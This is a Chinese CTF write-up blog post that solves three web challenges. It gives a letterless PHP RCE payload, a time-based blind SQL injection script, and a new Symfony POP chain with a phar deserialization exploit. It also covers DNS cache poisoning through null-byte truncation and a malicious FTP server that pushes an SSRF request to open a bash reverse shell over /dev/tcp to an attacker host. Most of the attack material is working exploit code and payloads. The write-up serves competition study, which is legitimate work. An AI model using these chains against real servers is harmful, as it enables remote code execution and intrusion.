# Simple PHP

  • 任意文件读取

# 任意文件读取

登录进去随便点点看

image-20220219195951594

打开源码查看

image-20220219200145607

存在任意文件读取,尝试一下读取 index.php

image-20220219201516045

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
   $hash_user = md5($_POST['user']);
   $hash_pass = 'zsf'.md5($_POST['pass']);
   if(isset($_POST['punctuation'])){
      //filter
      if (strlen($_POST['user']) > 6){
         echo("<script>alert('Username is too long!');</script>");
      }
      elseif(strlen($_POST['website']) > 25){
         echo("<script>alert('Website is too long!');</script>");
      }
      elseif(strlen($_POST['punctuation']) > 1000){
         echo("<script>alert('Punctuation is too long!');</script>");
      }
      else{
         if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
            if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
               $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
               $template = file_get_contents('./template.html');
               $content = str_replace("__USER__", $_POST['user'], $template);
               $content = str_replace("__PASS__", $hash_pass, $content);
               $content = str_replace("__WEBSITE__", $_POST['website'], $content);
               $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
               file_put_contents('sandbox/'.$hash_user.'.php', $content);
               echo("<script>alert('Successed!');</script>");
            }
            else{
               echo("<script>alert('Invalid chars in website!');</script>");
            }
         }
         else{
            echo("<script>alert('Invalid chars in username!');</script>");
         }
      }
   }
   else{
      setcookie("user", $_POST['user'], time()+3600);
      setcookie("pass", $hash_pass, time()+3600);
      Header("Location:sandbox/$hash_user.php");
   }
}
?>

<!doctype html>
<html lang="zh">
<head>
   <meta charset="UTF-8">
   <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>Simple Linux</title>
   <link rel="stylesheet" type="text/css" href="css/styles.css">
   <!--[if IE]>
      <script src="http://libs.baidu.com/html5shiv/3.7/html5shiv.min.js"></script>
   <![endif]-->
</head>
<body>
   <div class="jq22-container" style="padding-top:100px">
      <div class="login-wrap">
         <div class="login-html">
            <input id="tab-1" type="radio" name="tab" class="sign-in" checked><label for="tab-1" class="tab">Sign In</label>
            <input id="tab-2" type="radio" name="tab" class="sign-up"><label for="tab-2" class="tab">Sign Up</label>
            <div class="login-form">
               <form action="index.php" method="post">
                  <div class="sign-in-htm">
                     <div class="group">
                        <label for="user" class="label">Username</label>
                        <input id="user" name="user" type="text" class="input">
                     </div>
                     <div class="group">
                        <label for="pass" class="label">Password</label>
                        <input id="pass" name="pass" type="password" class="input" data-type="password">
                     </div>
                     <!-- <div class="group">
                        <input id="check" type="checkbox" class="check" checked>
                        <label for="check"><span class="icon"></span> Keep me Signed in</label>
                     </div> -->
                     <div class="group">
                        <input type="submit" class="button" value="Sign In">
                     </div>
                     <div class="hr"></div>
                     <!-- <div class="foot-lnk">
                        <a href="#forgot">Forgot Password?</a>
                     </div> -->
                  </div>
               </form>
               <form action="index.php" method="post">
                  <div class="sign-up-htm">
                     <div class="group">
                        <label for="user" class="label">Username</label>
                        <input id="user" name="user" type="text" class="input">
                     </div>
                     <div class="group">
                        <label for="pass" class="label">Password</label>
                        <input id="pass" name="pass" type="password" class="input" data-type="password">
                     </div>
                     <div class="group">
                        <label for="pass" class="label">Your Website</label>
                        <input id="pass" name="website" type="text" class="input">
                     </div>
                     <div class="group">
                        <label for="pass" class="label">Your Punctuation</label>
                        <input id="pass" name="punctuation" type="text" class="input">
                     </div>
                     <div class="group">
                        <input type="submit" class="button" value="Sign Up">
                     </div>
                     <div class="hr"></div>
                     <div class="foot-lnk">
                        <label for="tab-1">Already Member?</a>
                     </div>
                  </div>
               </form>
            </div>
         </div>
      </div>
   </div>

</body>
</html>

发现有 template.html ,读取一下

image-20220219201758211

image-20220219201126566

    <?php
         error_reporting(0);
         $user = ((string)__USER__);
         $pass = ((string)__PASS__);

         if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
            echo($_COOKIE['user']);
         }
         else{
            die("<script>alert('Permission denied!');</script>");
         }
      ?>
      </li>
      </ul>
      <ul class="item">
        <li><span class="sitting_btn"></span>系统设置</li>
        <li><span class="help_btn"></span>使用指南 <b></b></li>
        <li><span class="about_btn"></span>关于我们</li>
        <li><span class="logout_btn"></span>退出系统</li>
      </ul>
    </div>
  </div>
</div>
<a href="#" class="powered_by">__PUNC__</a>
<ul id="deskIcon">
  <li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>
    <div class="text">图片
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/></span>
    <div class="text">游戏
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/></span>
    <div class="text"><b>好康的</b>
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/></span>
    <div class="text"><b>ä½ çš„ç½‘ç«™</b>
      <div class="right_cron"></div>
    </div>
  </li>

</ul>

<div id="taskBar">
  <div id="leftBtn"><a href="#" class="upBtn"></a></div>
  <div id="rightBtn"><a href="#" class="downBtn"></a> </div>
  <div id="task_lb_wrap">
    <div id="task_lb"></div>
  </div>
</div>

</div>
</body>
</html>

顺便读取一下 get_pic.php

<?php
error_reporting(0);
$image = (string)$_GET['image'];
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>';
?>

# 代码审计

先看到index.php,这里user,website,punctuation进行了过滤,然后将template.html内容替换,替换后生成sadnbox/...php文件里面

image-20220219213049940

想法就是,构造一个恶意的shell输入进去,然后到生成的页面RCE
再看template.html文件,先看到user,pass,punc的位置

image-20220219214140709

再找到website的位置

image-20220219214235719

user=/* #多行注释,是的后文都为php
punctuation=*/a);/* #闭合一下echo 因为这里字符限制很松,可以写payload
website=*//* #闭合前面的注释,注释掉后面防报错

用自增写码,记得 url 编码

第⼀个可控输⼊点 ——user,位于 php 代码块内,不过⻓度较短,考虑⽤注释把 php 代码块延⻓

image-20220222172832369

第⼆个可控输⼊点 ——punctuation,限制较多,不过⻓度较⻓,考虑⽆字⺟数字 shell

image-20220222172856279

不过 php 代码块⽆法结束 第三个可控输⼊点 ——website,限制较少,配合 php 多⾏字符串把第⼆、第三输⼊点之间的 html 代码去掉

image-20220222172918026

并通过停⽌编译,防⽌ php 解析剩下的 html 代码

# 无字母 RCE

payload

pass=123123&punctuation=*%2F%27%21%27%29%3B%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27%21%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___%28%24_%5B_%5D%29%3B%2F*&user=%2F*&website=*%2F%2F*

image-20220219222351588

image-20220219222432994

image-20220219222447064

image-20220219222524199

image-20220219222511625

# SQL_TEST (时间盲注 phar 反序列化 sql 文件操作)

# 时间盲注

题⽬给了源码,是基于 Symfony 框架开发,版本是 5.4.2。审计源码发现只有⼀个 TestController

image-20220301200013587

可以控制⼀个 mysqli_options 的选项,然后连接本地数据库。

image-20220301200115757

很明显发现可以设置建⽴ MySQL 连接之后要执⾏的 SQL 语句。 php7 的环境下打印下 MYSQLI_INIT_COMMAND 的值:

image-20220301200417037

尝试 /index.php/test?key=3&value=select%20sleep(3) ,延时成功。因为没有回显,可以采⽤时 间盲注的⽅式获取数据

显然 flag 肯定不在数据库⾥(可以通过时间盲注获取数据也会发现没有任何新创建的数据库和表)。

现在我 们可以执⾏⼀条 MySQL 的命令,尝试堆叠发现⽆果,create database、insert、update 数据失 败,load_file 读取 /etc/passwd 也是失败。

这时猜想是否题⽬设置了 secure_file_priv,尝试获取 secure_file_priv ⽬录。 平时我们经常使⽤的⽅式是 show global variables like '% secure_file_priv%',现在没有回 显,我们需要时间盲注的⽅式获取。secure_file_priv 还可以通过 select @@global.secure_file_priv 进⾏获取

image-20220302091254453

flag ----------- : /tmp/6397dbf79b242b0e8e709fd9ddd237e7/

这个⽬录明显是故意设置,所以肯定这⾥是利⽤点。我们不知道这个⽬录下有什么⽂件,但是我们可以向这个 ⽬录任意写⽂件。Symfony 5.4.2 的版本并没有什么漏洞,所以通过⽂件包含 getshell 不太可能,我们可以⾃ 然想到可以通过写⼊ phar ⽂件,触发反序列化 getshell

要通过 phar 触发反序列化进⾏ getshell,要有 POP 链和触发点。⾸先关注 POP 链,phpggc 上最新的链⼦ 是 5.2 版本的,经过分析⽆法成功利⽤。将源码与 Symfony 5.4.2 的源码对⽐,发现去除了 Monolog 的依 赖,Monolog 的链⼦也利⽤不了,需要挖掘⼀条新的 POP 链。

# 找链子

寻找 __destruct ⽅法,因为有⼀些类都存在 __wakeup ⽅法,所以剩下的也不多。剩下的类 __destruct ⽅法调⽤也很乱,所以尝试搜索 __call ⽅法,看看有什么可以利⽤的。在 vendor/symfony/cache/Traits/RedisProxy.php 定义的 RedisProxy 类存在 __call ⽅法:

image-20220302092400762

我们可以调⽤任意类的 __invoke ⽅法,并且参数可控。寻找可利⽤的 __invoke,在 vendor/doctrine/doctrine-bundle/Dbal/SchemaAssetsFilterManager.php 定义的 SchemaAssetsFilterManager 类

image-20220302092651191

可以发现明显的动态函数调⽤,并且函数名和参数都可控。与之类似的 vendor/symfony/console/Helper/Dumper.php 定义的 Dumper 类,这个更直接⼀些

image-20220302092909706

所以现在我们只需在 __destruct 中找到任意⼀个可控变量对任意函数的调⽤即可,类似 $xxxx- >xxxx (),这应该不难寻找,在 vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php 中定义的 CacheAdapter 类

image-20220302092952224

跟进:

image-20220302093114600

⾄此,getshell 的 POP 链已经完成。

destruct()  ->  getExpiry()  ->  __call()  ->  __invoke()  ->  cat /flag

# mysql 文件操作

现在只剩触发点,我们可控的就只有⼀对 key 和 value,查看其他可以设置的选项,发现 MYSQLI_SERVER_PUBLIC_KEY 这个选项涉及⽂件操作,这个选项指定 SHA-256 认证模式下,要使⽤的 RSA 公钥⽂件。 MySQL8.0 之前的版本中默认的⾝份验证⽅式是 mysql_native_password, ⽽在 MySQL8.0 之后变为了 caching_sha2_password。caching_sha2_password 实现了 SHA-256 认证,并且在服务器端使⽤缓存 以获得更好的性能。

查阅⽂档可以发现,客户端有两种⽅式指定服务端的公钥:⼀种是从服务端请求公钥,然后服务端将公钥发松 给客户端;另外⼀种是客户端本地指定服务端公钥的路径:

image-20220302093414094

上⾯提到的 MYSQLI_SERVER_PUBLIC_KEY 选项便是指定服务端公钥的路径。 那么既然这⾥存在读取⽂件的可能,是否可以触发 phar 反序列化呢?查阅 PHP 源码,在 ext/mysqlnd/mysqlnd_auth.c 中可以找到 mysqlnd_caching_sha2_get_key 函数的实现:

image-20220302093509781

可以看到,调⽤了 php_stream_open_wrapper,因此可以来触发 phar 反序列化。 现在过程很明确:可以⽣成 phar ⽂件,通过 MySQL 写⼊⽬录,再通过 MYSQLI_SERVER_PUBLIC_KEY 触 发反序列化执⾏命令。 但是经过尝试发现最终触发失败,回显依然是数据库连接成功。这是因为 caching_sha2_password 认证⽅ 式下服务器端会使⽤缓存,查阅资料发现缓存存储在内存 中:

https://dba.stackexchange.com/questions/218190/where-is-the-cache-for-the-mysql-cachingsha2-password-auth-plugin-stored (https://dba.stackexchange.com/questions/218190/where-is-thecache-for-the-mysql-caching-sha2-password-auth-plugin-stored

FLUSH PRIVILEGES 即可

exp

import requests, string, random, os, time
url = "http://1.14.71.254:28005"
def req(key, value):
    resp = requests.get(url + "/index.php/test", params={'key': key, 'value':value})
    return resp
def get_secure_file_priv():
    char_list = "_/" + string.ascii_letters + string.digits
    template = "select if((select substr(@@global.secure_file_priv,%s,1)='%s'),sleep(2),1)"
    data = ''
    print('ok')
    for i in range(1, 100):
        flag = False
        for c in char_list:
            resp = req('3', template % (i, c))
            if resp.elapsed.seconds > 1.5:
                data += c
                flag = True
                print(data)
                break
        if not flag:
            print("end!")
            return data
def exp(secure_file_path):
    filename = "".join(random.sample(string.ascii_letters, 6)) + '.phar'
    file = os.path.join(secure_file_path, filename)
# write phar file
    hex_data = open("phar.phar", "rb").read().hex()
    command = "select 0x{} into dumpfile '{}'".format(hex_data, file)
    req('3', command)
# check file exists
    command = "select if((ISNULL(load_file('{}'))),sleep(2),1)".format(file)
    if req('3', command).elapsed.seconds > 1.5:
        print("file write fail!")
        exit()
# clean the cache
    req('3',"FLUSH PRIVILEGES")
    time.sleep(2)
# trigger unserialize
    resp = req('35', 'phar://' + file)
    print(resp.text)
if __name__ == '__main__':
        #secure_file_path = get_secure_file_priv()
        #print(secure_file_path)
        secure_file_path = '/tmp/6397dbf79b242b0e8e709fd9ddd237e7/'
        exp(secure_file_path)

POP 链:

<?php
namespace Doctrine\Common\Cache\Psr6 {
    class CacheAdapter{
        private $deferredItems;
        public function __construct()
        {
            $this->deferredItems[] = new \Symfony\Component\Cache\Traits\RedisProxy();
        }
    }
}
namespace Symfony\Component\Cache\Traits{
    class RedisProxy{
        private $initializer;
        private $redis;
        public function __construct(){
            $this->initializer = new \Symfony\Component\Console\Helper\Dumper();
            $this->redis = 'ls /';
        }
    }
}
namespace Symfony\Component\Console\Helper{
    class Dumper {
        private $handler;
        public function __construct(){
            $this->handler = 'system';
        }
    }
}
namespace {
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 设置 stub,增加 gif 文件头
    $o = new \Doctrine\Common\Cache\Psr6\CacheAdapter();
    $phar->setMetadata($o); // 将自定义 meta-data 存入 manifest
    $phar->addFromString("test.txt", "test"); // 添加要压缩的文件
// 签名自动计算
    $phar->stopBuffering();
}

ls / 一下

image-20220302105700146

调用 readflag

image-20220302105933522

# Network Tools(DNS 缓存污染,FTP SSRF)

  • DNS 缓存污染
  • FTP SSRF

出题思路:https://www.usenix.org/conference/usenixsecurity21/presentation/jeitner

http://blog.leanote.com/post/snowming/e2c24cf057a4

http://redteam.today/2018/01/28/DNS rebinding/

http://www.gem-love.com/2020/12/24/dns-rebinding-attack-dns 重绑攻击在 ssrf 中的应用 /

image-20220302145427070

大致意思就是在攻击者上传域名的时候添加  \000+自己的域名  , DNS就会将其解析为自己的域名

论⽂中提到 nodejs 的 CNAME 解析存在 \0 截断问题,根据 CVE-2021-22931,定位到问题出现于 nodejs 的 dns 库,⽽ dns 库⼜调⽤了 c-ares 这⼀基于 C 的⼴泛使⽤的域名解析库,经测试,CNAME 解析 \0 截断的问题 在最新版本 1.18.1 中依然存在。 这张图可以⾮常清楚地解释 \0 截断导致的 DNS 缓存污染问题,其中 \000 指的是 8 进制 0 对应的字符,即 \0:

image-20220302144720786

# 源码

app.py

from flask import Flask, request, send_from_directory,session
from flask_session import Session
from io import BytesIO
import re
import os
import ftplib
from hashlib import md5
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['SESSION_TYPE'] = 'filesystem'
sess = Session()
sess.init_app(app)
def exec_command(cmd, addr):
    result = ''
    if re.match(r'^[a-zA-Z0-9.:-]+$', addr) != None:
        with os.popen(cmd % (addr)) as readObj:
            result = readObj.read()
    else:
        result = 'Invalid Address!'
    return result
@app.route("/")
def index():
    if not session.get('token'):
        token = md5(os.urandom(32)).hexdigest()[:8]
        session['token'] = token
    return send_from_directory('', 'index.html')
@app.route("/ping", methods=['POST'])
def ping():
    addr = request.form.get('addr', '')
    if addr == '':
        return 'Parameter "addr" Empty!'
    return exec_command("ping -c 3 -W 1 %s 2>&1", addr)
@app.route("/traceroute", methods=['POST'])
def traceroute():
    addr = request.form.get('addr', '')
    if addr == '':
        return 'Parameter "addr" Empty!'
    return exec_command("traceroute -q 1 -w 1 -n %s 2>&1", addr)
@app.route("/ftpcheck")
def ftpcheck():
    if not session.get('token'):
        return redirect("/")
    domain = session.get('token') + ".ftp.testsweb.xyz"
    file = 'robots.txt'
    fp = BytesIO()
    try:
        with ftplib.FTP(domain) as ftp:
            ftp.login("admin","admin")
            ftp.retrbinary('RETR ' + file, fp.write)
    except ftplib.all_errors as e:
        return 'FTP {} Check Error: {}'.format(domain,str(e))
    fp.seek(0)
    try:
        with ftplib.FTP(domain) as ftp:
            ftp.login("admin","admin")
            ftp.storbinary('STOR ' + file, fp)
    except ftplib.all_errors as e:
        return 'FTP {} Check Error: {}'.format(domain,str(e))
    fp.close()
    return 'FTP {} Check Success.'.format(domain)
@app.route("/shellcheck", methods=['POST'])
def shellcheck():
    if request.remote_addr != '127.0.0.1':
        return 'Localhost only'
    shell = request.form.get('shell', '')
    if shell == '':
        return 'Parameter "shell" Empty!'
    return str(os.system(shell))
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

# 代码审计

image-20220302150648767

这里存在 ssrf 漏洞,漏洞原理与 CVE-2021-3129 ⼀致,只需要利⽤上图⽅法 将 token.ftp.testsweb.xyz 的缓存污染为⾃⼰服务器的 IP 地址,即可实现 FTP SSRF,访问到预留的 webshell。

在域名的控制⾯板中添加如下两条记录,将 a.testsweb.xyz 的 NS 记录指向 ns.testsweb.xyz, 将 a.testsweb.xyz 的 A 记录指向⾃⼰的 IP(这⾥⾯我偷懒还是使⽤了 testsweb.xyz 域名,实际上任意域 名都可以实现该攻击):

image-20220302153415221

搭建⼀个权威 DNS 服务器,注意常⽤于搭建 DNS 的 bind 在域名中含有 \000 的时候会报错,经过测试我最终选 择了 twisted,这是⼀个基于 python 的 dns ⼯具,⽀持权威、转发器等模式,zone file 如下:

zone = [
   SOA(
      # For whom we are the authority
      'a.miku233.fun',
      # This nameserver's name
      mname = "ns.miku233.fun.",
      # Mailbox of individual who handles this
      rname = "admin.a.miku233.fun",
      # Unique serial identifying this SOA data
      serial = 0,
      # Time interval before zone should be refreshed
      refresh = "1H",
      # Interval before failed refresh should be retried
      retry = "30M",
      # Upper limit on time interval before expiry
      expire = "1M",
      # Minimum TTL
      minimum = "30"
   ),
   NS('a.miku233.fun', 'ns.miku233.fun'),
   CNAME('ftp.a.testsweb.xyz','b4b093f7.ftp.testsweb.xyz\000.a.miku233.fun'),
   A('b4b093f7.ftp.testsweb.xyz\000.a.miku233.fun', '120.79.0.164'),
]

保存为 a.testsweb.xyz, 然后执⾏下列命令,关掉 systemd-resolved,以权威服务器模式打 开 twisted。

image-20220302153457381

运⾏恶意 ftp 脚本即可实现 SSRF:

import socket
from urllib.parse import unquote
shell_ip = '8.8.8.8'
shell_port = '7777'
# 对 payload 进⾏⼀次 urldecode
payload =
unquote("POST%20/shellcheck%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContentType%3A%20application/x-www-form-urlencoded%0D%0AContentLength%3A%2083%0D%0A%0D%0Ashell%3Dbash%2520-c%2520%2522bash%2520-
i%2520%253E%2526%2520/dev/tcp/{}/{}%25200%253E%25261%2522".format(shell_ip,
shell_port))
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 21
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp 被动模式的 passvie port, 监听到 1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()
# 计数器,⽤于区分是第⼏次 ftp 连接
count = 1
while 1:
conn, address = sk.accept()
print("220 ")
conn.send(b"220 \n")
print(conn.recv(20)) # USER aaa\r\n 客⼾端传来⽤⼾名
print("220 ready")
conn.send(b"220 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客⼾端告诉服务端以什么格式传输数据,TYPE I 表
⽰⼆进制, TYPE A表⽰⽂
print("200 ")
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客⼾端告诉服务端进⼊被动连接模式
if count == 1:
print("227 %s,4,210" % (shell_ip.replace('.', ',')))
conn.send(b"227 %s,4,210\n" % (shell_ip.replace('.', ',').encode())) #
服务端告诉客⼾端需要到那个ip:port去获取数据,ip,port都是⽤逗号隔开,其中端⼝的计算规则为:
4*256+210=1234
else:
print("227 127,0,0,1,31,144")
conn.send(b"227 127,0,0,1,31,144\n") # 端⼝计算规则:31*256+144=8080
print(conn.recv(20)) # 第⼀次连接会收到命令 RETR /123\r\n,第⼆次连接会收到 STOR
/123\r\n
if count == 1:
print("125 ")
conn.send(b"125 \n") # 告诉客⼾端可以开始数据链接了
# 新建⼀个 socket 给服务端返回我们的 payload
print("建⽴连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
print("150 ")
conn.send(b"150 \n")
# 第⼀次连接是下载⽂件,需要告诉客⼾端下载已经结束
if count == 1:
print("226 ")
conn.send(b"226 \n")
print(conn.recv(20)) # QUIT\r\n
print("221 ")
conn.send(b"221 \n")
conn.close()
count += 1

监听端⼝,点击 FTP Check,反弹 shell 成功。

image-20220302153545424

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝